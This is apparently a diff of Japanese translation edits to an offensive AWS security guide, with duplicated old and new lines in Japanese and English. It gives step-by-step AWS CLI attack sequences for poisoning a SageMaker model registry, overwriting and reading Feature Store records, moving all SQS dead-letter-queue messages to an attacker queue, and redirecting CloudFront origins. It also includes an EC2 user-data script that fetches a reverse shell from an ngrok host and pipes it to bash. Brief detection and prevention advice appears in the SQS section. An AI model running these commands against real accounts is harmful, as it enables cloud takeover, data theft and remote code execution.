- 非同期推論の結果（およびエラーボディ）を攻撃者が管理する S3 にリダイレクトし、モデルのコードやイメージを変更せず、ダウンタイムを最小限に抑えながら、コンテナが生成する予測結果や前処理/後処理された可能性のある機密入力を秘密裏に持ち出すことを可能にします。
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
ターゲットの SageMaker Model Package Group に対して CreateModelPackage を実行できる攻撃者は、攻撃者が制御するコンテナイメージを指す新しいモデルバージョンを登録し、それを即座に Approved にマークできます。多くの CI/CD パイプラインは Approved のモデルバージョンを自動的にエンドポイントやトレーニングジョブにデプロイするため、サービスの実行ロールで攻撃者のコードが実行される結果を招きます。許容的な ModelPackageGroup リソースポリシーがあると、クロスアカウントの露出が拡大する可能性があります。
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
|
||||
### 要件
|
||||
- IAM（既存のグループを汚染するための最小権限）: ターゲットの ModelPackageGroup に対する `sagemaker:CreateModelPackage`
|
||||
- IAM（既存グループを汚染するための最小権限）: `sagemaker:CreateModelPackage` を対象の ModelPackageGroup に対して
|
||||
- オプション（グループが存在しない場合に作成するため）: `sagemaker:CreateModelPackageGroup`
|
||||
- S3: 参照される ModelDataUrl への読み取りアクセス（または攻撃者がホストするアーティファクト）
|
||||
- ターゲット: 下流の自動化が Approved バージョンを監視している Model Package Group
|
||||
- S3: 参照される ModelDataUrl への読み取りアクセス（または攻撃者管理のアーティファクトをホスト）
|
||||
- 対象: 下流の自動化が Approved バージョンを監視している Model Package Group
|
||||
|
||||
### 手順
|
||||
1) リージョンを設定し、ターゲットとなる Model Package Group を作成または検索する
|
||||
1) リージョンを設定し、ターゲットの Model Package Group を作成または検索する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) S3にダミーモデルデータを準備する
|
||||
2) S3 にダミーのモデルデータを準備する
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) 公開されている AWS DLC イメージを参照する、悪意のある（ここでは無害な）承認済みモデルパッケージバージョンを登録する
|
||||
3) 公開された AWS DLC イメージを参照する悪意のある（ここでは無害な）Approved model package version を登録する
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -167,12 +167,12 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### 影響
|
||||
- Poison the Model Registry を攻撃者管理下のコードを参照する Approved バージョンで行う。Pipelines が Approved モデルを自動デプロイする場合、攻撃者のイメージを pull して実行し、endpoint/training roles の権限でコード実行を引き起こす可能性がある。
|
||||
- 許容的な ModelPackageGroup resource policy (PutModelPackageGroupPolicy) を持つ場合、この悪用はクロスアカウントでトリガーされ得る。
|
||||
- 攻撃者が制御するコードを参照する承認済みバージョンでモデルレジストリを汚染します。承認済みモデルを自動デプロイするパイプラインは攻撃者のイメージをプルして実行する可能性があり、エンドポイント／トレーニングのロールでコード実行が発生します。
|
||||
- 許容的な ModelPackageGroup のリソースポリシー (PutModelPackageGroupPolicy) がある場合、この悪用はクロスアカウントで発生する可能性があります。
|
||||
|
||||
## Feature store poisoning
|
||||
## Feature store の汚染
|
||||
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブのフィーチャー値を上書きする。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密フィーチャーを読み取ることができる。これは models や endpoints へのアクセスを必要としない。
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で使用されるライブの特徴量を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これにはモデルやエンドポイントへのアクセスは不要です。
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`OnlineStore` が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で利用されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これにはモデルやエンドポイントへのアクセスは不要です。
|
||||
`OnlineStore` が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で使用されるライブの特徴量の値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
|
||||
|
||||
## Requirements
|
||||
## 要件
|
||||
- 権限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- 対象: OnlineStore が有効な Feature Group（通常はリアルタイム推論を支える）
|
||||
- 複雑さ: **LOW** - 単純な AWS CLI コマンド、モデルの操作は不要
|
||||
- ターゲット: OnlineStore が有効な Feature Group（通常はリアルタイム推論を支える）
|
||||
- 複雑度: **LOW** - 単純な AWS CLI コマンド、モデル操作は不要
|
||||
|
||||
## Steps
|
||||
## 手順
|
||||
|
||||
### Reconnaissance
|
||||
|
||||
1) OnlineStore が有効な Feature Group を列挙する
|
||||
1) List Feature Groups with OnlineStore enabled
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -21,14 +21,14 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) ターゲットの Feature Group を記述して、そのスキーマを把握する
|
||||
2) 対象の Feature Group を説明してそのスキーマを理解する
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
`RecordIdentifierFeatureName`、`EventTimeFeatureName`、およびすべての特徴量定義に注意してください。これらは有効なレコードを作成するために必要です。
|
||||
注意: `RecordIdentifierFeatureName`、`EventTimeFeatureName`、およびすべてのフィーチャ定義を確認してください。これらは有効なレコードを作成するために必要です。
|
||||
|
||||
### 攻撃シナリオ 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
@@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) poisoned dataを検証する
|
||||
3) 汚染されたデータを検証する
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impact**: MLモデルがこの特徴量を利用すると、正当なユーザーに対して`risk_score=0.99`が表示され、取引やサービスがブロックされる可能性があります。
|
||||
**影響**: この特徴量を利用する ML モデルは正当なユーザーに対して `risk_score=0.99` を返すようになり、取引やサービスがブロックされる可能性があります。
|
||||
|
||||
### 攻撃シナリオ 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
セキュリティコントロールを回避するために、改ざんされた特徴量を持つ完全に新しいレコードを注入する:
|
||||
セキュリティコントロールを回避するために、操作された特徴量を持つ完全に新しいレコードを注入する:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -84,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
injectionを検証する:
|
||||
インジェクションを検証する:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impact**: 攻撃者はリスクスコアが低い（0.01）の偽の身元を作成し、不正検知を発動させることなく高額な不正取引を行える。
|
||||
**影響**: 攻撃者は低いリスクスコア (0.01) の偽のIDを作成し、不正検出をトリガーせずに高額な不正取引を実行できる。
|
||||
|
||||
### Attack Scenario 3: 機密データの持ち出し
|
||||
### 攻撃シナリオ 3: 機密データの持ち出し
|
||||
|
||||
複数のレコードを読み出して機密な特徴量を抽出し、モデルの挙動をプロファイリングする:
|
||||
複数のレコードを読み取り、機密の特徴量を抽出してモデルの挙動をプロファイリングする:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -106,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**影響**: 機密な特徴量（リスクスコア、取引パターン、個人データ）が攻撃者に露出する。
|
||||
**影響**: 機密の特徴量（リスクスコア、取引パターン、個人データ）が攻撃者にさらされる。
|
||||
|
||||
### テスト/デモ Feature Group の作成（任意）
|
||||
### テスト/デモ Feature Group 作成 (Optional)
|
||||
|
||||
テスト用の Feature Group を作成する必要がある場合:
|
||||
```bash
|
||||
@@ -143,6 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## 参考資料
|
||||
## 参考文献
|
||||
- [AWS SageMaker Feature Store ドキュメント](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store セキュリティ ベストプラクティス](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
- [Feature Store のセキュリティベストプラクティス](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -1,55 +1,55 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
# AWS – SQS DLQ Redrive を介した StartMessageMoveTask による データ抽出
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
SQS の message move task を悪用して、`sqs:StartMessageMoveTask` を使い、被害者の Dead-Letter Queue (DLQ) に蓄積された全てのメッセージを攻撃者管理のキューへリダイレクトして盗み出します。この手法は、AWS の正当なメッセージ回復機能を悪用して、時間とともに DLQ に蓄積された機微なデータを外部へ流出させるものです。
|
||||
SQS のメッセージ移動タスクを悪用し、`sqs:StartMessageMoveTask` を使って被害者の Dead-Letter Queue (DLQ) に蓄積された全メッセージを攻撃者管理下のキューへリダイレクトして窃取します。この手法は、AWS の正当なメッセージ回復機能を悪用して、時間の経過で DLQ に蓄積された機密データを抽出します。
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Dead-Letter Queue は、メインアプリケーションで正常に処理できなかったメッセージが自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
|
||||
Dead-Letter Queue は、メインのアプリケーションで正常に処理できなかったメッセージが自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
|
||||
- 処理できなかった機密アプリケーションデータ
|
||||
- エラー詳細やデバッグ情報
|
||||
- 個人識別情報 (PII)
|
||||
- API トークンや資格情報、その他のシークレット
|
||||
- 業務上重要なトランザクションデータ
|
||||
- 個人を特定できる情報 (PII)
|
||||
- API トークン、資格情報、その他のシークレット
|
||||
- 重要なビジネストランザクションデータ
|
||||
|
||||
DLQ は失敗メッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、貴重なターゲットになります。
|
||||
DLQ は失敗メッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった敏感なデータが蓄積され、価値のあるターゲットになります。
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** が SQS 経由で顧客注文を処理する
|
||||
2. **いくつかの注文が失敗**（支払い問題、在庫問題など）し、DLQ に移される
|
||||
3. **DLQ に数週間／数ヶ月分の失敗注文が蓄積**され、顧客データを含む: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **攻撃者が SQS 権限を持つ AWS 資格情報を入手**する
|
||||
5. **攻撃者が DLQ に数千件の機密データがあることを発見**する
|
||||
6. **個々のメッセージへアクセスしようとする代わりに**（遅く目立つため）攻撃者は `StartMessageMoveTask` を使って全メッセージを自分のキューへ一括転送する
|
||||
7. **攻撃者は一度の操作で過去の全ての機密データを抽出**する
|
||||
1. **E-commerce application** が顧客の注文を SQS 経由で処理する
|
||||
2. **一部の注文が失敗**（支払い問題、在庫不足など）し DLQ に移される
|
||||
3. **DLQ が数週間〜数ヶ月分の失敗注文を蓄積**し、顧客データを含む: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **攻撃者が SQS 権限を持つ AWS 資格情報を入手**
|
||||
5. **攻撃者が DLQ に多数の機密データがあることを発見**
|
||||
6. **個別メッセージにアクセスしようとする代わりに**（遅く目立ちやすい）、攻撃者は `StartMessageMoveTask` を使って全メッセージを自分のキューに一括転送する
|
||||
7. **攻撃者は一度に全履歴の機密データを抽出**する
|
||||
|
||||
## Requirements
|
||||
- ソースキューは DLQ として設定されている必要がある（少なくとも1つのキューの RedrivePolicy で参照されていること）。
|
||||
- IAM 権限（侵害された被害者プリンシパルとして実行）:
|
||||
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- On destination queue: メッセージ配信の権限（例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー）。同一アカウントの宛先では通常デフォルトで許可されていることが多い。
|
||||
- SSE-KMS が有効な場合: ソース CMK に対する `kms:Decrypt`、および宛先 CMK に対する `kms:GenerateDataKey`, `kms:Encrypt`。
|
||||
- ソースキューは DLQ として設定されている必要があります（少なくとも1つのキューの RedrivePolicy で参照されていること）。
|
||||
- IAM 権限（侵害された被害者のプリンシパルとして実行）:
|
||||
- DLQ（ソース）上: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`
|
||||
- 宛先キュー上: メッセージ配送を許可する権限（例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー）。同一アカウント内の宛先では通常デフォルトで許可されます。
|
||||
- SSE-KMS が有効な場合: ソース CMK 上で `kms:Decrypt`、宛先 CMK 上で `kms:GenerateDataKey`, `kms:Encrypt`。
|
||||
|
||||
## Impact
|
||||
ネイティブな SQS API を使って DLQ に蓄積された機密ペイロード（失敗イベント、PII、トークン、アプリケーションペイロード）を高速に流出させます。宛先キューポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも機能します。
|
||||
DLQ に蓄積された機密ペイロード（失敗イベント、PII、トークン、アプリケーションペイロード）をネイティブな SQS API を使って高速に抽出できます。宛先キューポリシーが被害者プリンシパルからの `SendMessage` を許可していればクロスアカウントでも動作します。
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- 被害者 DLQ の ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する。
|
||||
- 攻撃者が管理する宛先キューを作成または選択し、その ARN を取得する。
|
||||
- 被害者 DLQ から宛先キューへメッセージ移動タスクを開始する。
|
||||
- 進捗を監視するか、必要に応じてキャンセルする。
|
||||
- 攻撃者が管理する宛先キューを作成するか選び、その ARN を取得する。
|
||||
- 被害者の DLQ から自分の宛先キューへメッセージ移動タスクを開始する。
|
||||
- 進行状況を監視するか、必要に応じてキャンセルする。
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: 攻撃者が AWS 資格情報を侵害し、e-commerce アプリケーションが失敗した顧客注文処理を含む DLQ を使用していることを発見した。
|
||||
**Scenario**: 攻撃者が AWS 資格情報を侵害し、E-commerce アプリケーションが失敗した顧客注文処理を含む DLQ を使用していることを発見した。
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
1) **被害者の DLQ を発見して確認する**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **attacker-controlled destination queue を作成する**
|
||||
2) **攻撃者が制御する宛先キューを作成する**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -71,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Execute the bulk message theft**
|
||||
3) **大量メッセージの窃取を実行する**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -86,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **盗まれた機密データを回収する**
|
||||
4) **盗まれた機密データを収集する**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -115,21 +115,21 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### クロスアカウントの注意事項
|
||||
- 宛先キューには被害者プリンシパルに `sqs:SendMessage` を許可するリソースポリシーが必要です（使用する場合は KMS の付与/権限も）。
|
||||
### クロスアカウントの注意点
|
||||
- 宛先キューには victim principal に `sqs:SendMessage` を許可するリソースポリシーが必要です（使用する場合は KMS grants/permissions も）。
|
||||
|
||||
## この攻撃が効果的な理由
|
||||
## なぜこの攻撃が効果的か
|
||||
|
||||
1. **正当な AWS 機能**: 組み込みの AWS 機能を使用するため、悪意ある活動として検出されにくい
|
||||
2. **一括操作**: 個別に遅くアクセスする代わりに、数千件のメッセージを迅速に転送できる
|
||||
3. **履歴データ**: DLQ は数週間〜数ヶ月にわたって機密データが蓄積される
|
||||
4. **見過ごされがち**: 多くの組織は DLQ へのアクセスを厳密に監視していない
|
||||
5. **クロスアカウント対応**: 許可があれば攻撃者自身の AWS アカウントへ exfiltrate できる
|
||||
1. **正当な AWS 機能**: 組み込みの AWS 機能を利用するため、悪意あるものとして検出されにくい
|
||||
2. **大量操作**: 個別に遅くアクセスする代わりに、何千ものメッセージを迅速に転送する
|
||||
3. **履歴データ**: DLQs は数週間〜数か月にわたり機密データを蓄積する
|
||||
4. **検知されにくい**: 多くの組織は DLQ アクセスを注意深く監視していない
|
||||
5. **クロスアカウント対応**: 権限が許せば攻撃者自身の AWS アカウントへ exfiltrate できる
|
||||
|
||||
## 検出と防止
|
||||
## 検出と予防
|
||||
|
||||
### 検出
|
||||
CloudTrail を監視して、疑わしい `StartMessageMoveTask` API 呼び出しを検出する:
|
||||
CloudTrail を監視し、疑わしい `StartMessageMoveTask` API 呼び出しを検出する：
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
@@ -144,11 +144,11 @@ CloudTrail を監視して、疑わしい `StartMessageMoveTask` API 呼び出
|
||||
}
|
||||
}
|
||||
```
|
||||
### 予防策
|
||||
1. **最小権限**: 必要なロールにのみ `sqs:StartMessageMoveTask` 権限を制限する
|
||||
2. **DLQs の監視**: 異常な DLQ アクティビティに対して CloudWatch アラームを設定する
|
||||
3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可する SQS キューのポリシーを注意深く確認する
|
||||
4. **DLQs の暗号化**: 制限されたキー ポリシーを用いた SSE-KMS を使用する
|
||||
5. **定期的なクリーンアップ**: 機密データが DLQs に無期限に蓄積しないようにする
|
||||
### 対策
|
||||
1. **最小権限**: `sqs:StartMessageMoveTask` の権限を必要なロールのみに制限する
|
||||
2. **DLQsの監視**: 異常なDLQアクティビティに対してCloudWatchアラームを設定する
|
||||
3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可する SQS キューポリシーを慎重に確認する
|
||||
4. **DLQsを暗号化**: 制限されたキーのポリシーを適用した SSE-KMS を使用する
|
||||
5. **定期的なクリーンアップ**: DLQ に機密データが無期限に蓄積されないようにする
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,13 +6,13 @@
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
cloudfront:UpdateDistribution と cloudfront:GetDistributionConfig の権限を持つ攻撃者は、CloudFront distribution の設定を変更できます。攻撃者はターゲットの S3 バケット自体の権限を必要としませんが、そのバケットが cloudfront.amazonaws.com サービスプリンシパルからのアクセスを許可する寛容なポリシーを持っていると攻撃は容易になります。
|
||||
`cloudfront:UpdateDistribution` と `cloudfront:GetDistributionConfig` の権限を持つ攻撃者は、CloudFront distribution の設定を変更できます。対象の S3 バケット自体への権限は不要ですが、そのバケットが `cloudfront.amazonaws.com` サービスプリンシパルからのアクセスを許可する緩いポリシーを持っていると攻撃は容易になります。
|
||||
|
||||
攻撃者は distribution の origin 設定を別の S3 バケットや攻撃者が管理するサーバーを指すように変更します。まず現在の distribution 設定を取得します:
|
||||
攻撃者は distribution の origin 設定を別の S3 バケットや攻撃者が制御するサーバーを指すように変更します。まず現在の distribution 設定を取得します：
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
次に、current-config.json を編集して origin を新しいリソース — 例えば別の S3 バケット — を指すようにします:
|
||||
次に、current-config.json を編集して origin が新しいリソース（例えば別の S3 バケット）を指すようにします:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
@@ -40,7 +40,7 @@ aws cloudfront get-distribution-config --id <distribution-id> | jq '.Distributio
|
||||
},
|
||||
...
|
||||
```
|
||||
最後に、変更した設定を適用してください（更新する際は現在の ETag を指定する必要があります）：
|
||||
最後に、変更した構成を適用します（更新する際には現在の ETag を指定する必要があります）:
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
@@ -91,16 +91,16 @@ return response;
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# CloudFront に malicious function を作成
|
||||
# CloudFront に悪意のある関数を作成
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# DEVELOPMENT ステージの関数の ETag を取得
|
||||
# DEVELOPMENT ステージにある関数の ETag を取得
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# 関数を LIVE ステージに公開する
|
||||
# 関数を LIVE ステージに公開
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
|
||||
```
|
||||
|
||||
```bash
|
||||
# 更新した distribution config を適用する（現在の ETag を使用する必要があります）
|
||||
# 更新した distribution config を適用する（current ETag を使用する必要があります）
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
@@ -210,7 +210,7 @@ aws cloudfront update-distribution \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# distribution にリクエストして function をトリガーする
|
||||
# distribution にリクエストを送って function をトリガーする
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
EC2に関する**詳細情報**は次を参照：
|
||||
For more **info about EC2** check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,19 +12,19 @@ EC2に関する**詳細情報**は次を参照：
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
攻撃者は、**IAM roleをアタッチしたインスタンスを作成し、そのインスタンスにアクセスすることで**、メタデータエンドポイントからIAM roleの認証情報を盗むことができる。
|
||||
攻撃者は**IAM role をアタッチしたインスタンスを作成し、そのインスタンスにアクセスして metadata endpoint から IAM role の認証情報を盗む**ことができます。
|
||||
|
||||
- **SSH経由でのアクセス**
|
||||
- **Access via SSH**
|
||||
|
||||
新しいインスタンスを、**作成済みの** **ssh key**（`--key-name`）を使って起動し、その後sshでログインする（新しいkeyを作成する場合は`ec2:CreateKeyPair`の権限が必要になる可能性がある）。
|
||||
作成済みの **ssh key** (`--key-name`) を使って新しいインスタンスを起動し、その後 ssh で接続します（新しいキーを作成する場合は `ec2:CreateKeyPair` 権限が必要になることがあります）。
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **user dataでのrev shellによるアクセス**
|
||||
- **user data 内の rev shell によるアクセス**
|
||||
|
||||
**user data** (`--user-data`) を使って新しいインスタンスを起動し、あなたに **rev shell** を送るようにできます。この方法では **security group** を指定する必要はありません。
|
||||
あなたに **rev shell** を送る **user data** (`--user-data`) を使って新しいインスタンスを起動できます。この方法ではセキュリティグループを指定する必要はありません。
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
|
||||
インスタンス外で IAM role の資格情報を使用する場合は GuradDuty に注意してください：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**潜在的な影響:** 既存の instance profiles にアタッチされている EC2 role への直接的な privesc。
|
||||
**潜在的な影響:** 既存の instance profiles にアタッチされている任意の EC2 role への直接的な privesc。
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
この権限セットがあれば、**EC2 instance を作成して ECS cluster 内に登録する**こともできます。こうすることで、アクセス可能な **EC2 instance** 内で ECS の **services** が **run** され、そこに展開されているサービス（docker containers）に侵入して、**steal their ECS roles attached** ことができます。
|
||||
この権限セットがあれば、**EC2 instance を作成して ECS cluster に登録する**こともできます。この方法では、ECS の **サービス** は **実行され**、あなたがアクセスできる **EC2 instance** 内で稼働します。そして、それらのサービス（docker containers）に侵入して、**アタッチされている ECS roles を盗む**ことができます。
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
To learn how to **force ECS services to be run** in this new EC2 instance check:
|
||||
この新しい EC2 インスタンスで**force ECS services to be run**方法を確認するには、以下を参照してください：
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
|
||||
`ecs:RegisterContainerInstance` の権限があるが、新しいインスタンスを**作成できない**場合、インスタンスをクラスター内に登録して、前述の attack を実行できる可能性があります。
|
||||
|
||||
**Potential Impact:** タスクにアタッチされた ECS roles への直接的な privesc。
|
||||
**潜在的影響:** tasks にアタッチされた ECS roles への直接的な privesc。
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
前のシナリオと同様に、これらの権限を持つ攻撃者は、侵害されたインスタンスの IAM ロールを変更して新しい認証情報を窃取することができます。\
|
||||
インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**（一般的なケース）場合、さらに **`iam:RemoveRoleFromInstanceProfile`** が必要になります。
|
||||
前のシナリオと同様に、これらの権限を持つ攻撃者は**compromised instance の IAM role を変更する**ことで、新しい資格情報を盗むことができます。\
|
||||
instance profile は 1 つの role しか持てないため、instance profile が**すでに role を持っている**場合（一般的なケース）、**`iam:RemoveRoleFromInstanceProfile`** も必要になります。
|
||||
```bash
